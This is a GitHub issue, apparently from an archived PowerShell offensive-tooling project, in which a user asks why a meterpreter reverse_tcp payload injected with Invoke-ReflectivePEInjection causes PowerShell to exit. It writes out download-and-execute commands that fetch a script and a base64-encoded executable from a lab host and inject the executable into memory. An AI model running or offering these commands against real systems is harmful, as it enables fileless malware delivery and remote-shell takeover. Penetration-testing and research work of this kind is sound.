Skip to content
This repository was archived by the owner on Jan 21, 2021. It is now read-only.
This repository was archived by the owner on Jan 21, 2021. It is now read-only.

Invoke-ReflectivePEInjection with meterpreter exe payload quits powershell #362

@austinbentlee

Description

@austinbentlee

Hello --

I have been using the patched version of Invoke-ReflectivePEInjection (available here) and I can successfully run calc.exe just fine.

However, if I try a meterpreter payload, meterpreter will successfully connect to msfconsole for a split second before the powershell task exits.

So far I have tried:
Inject into something like explorer -- not possible as meterpreter as it is not compiled with ASLR.
Changing the EXITFUNC to meterpreter
Using windows/x64/meterpreter/reverse_tcp (Reflective Injection x64)
Using windows/x64/meterpreter_reverse_tcp (regular -- inline reverse tcp x64)

Here are the commands I am using:

IEX ((New-Object System.Net.WebClient).DownloadString("http://192.168.56.102:4444/Invoke-ReflectivePEInjection.ps1"))

$based = ((New-Object System.Net.WebClient).DownloadString("http://192.168.56.102:4545/b64.exe"))

$PEBytes = [System.Convert]::FromBase64String($based)

Invoke-ReflectivePEInjection -ForceASLR -PEBytes $PEBytes

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions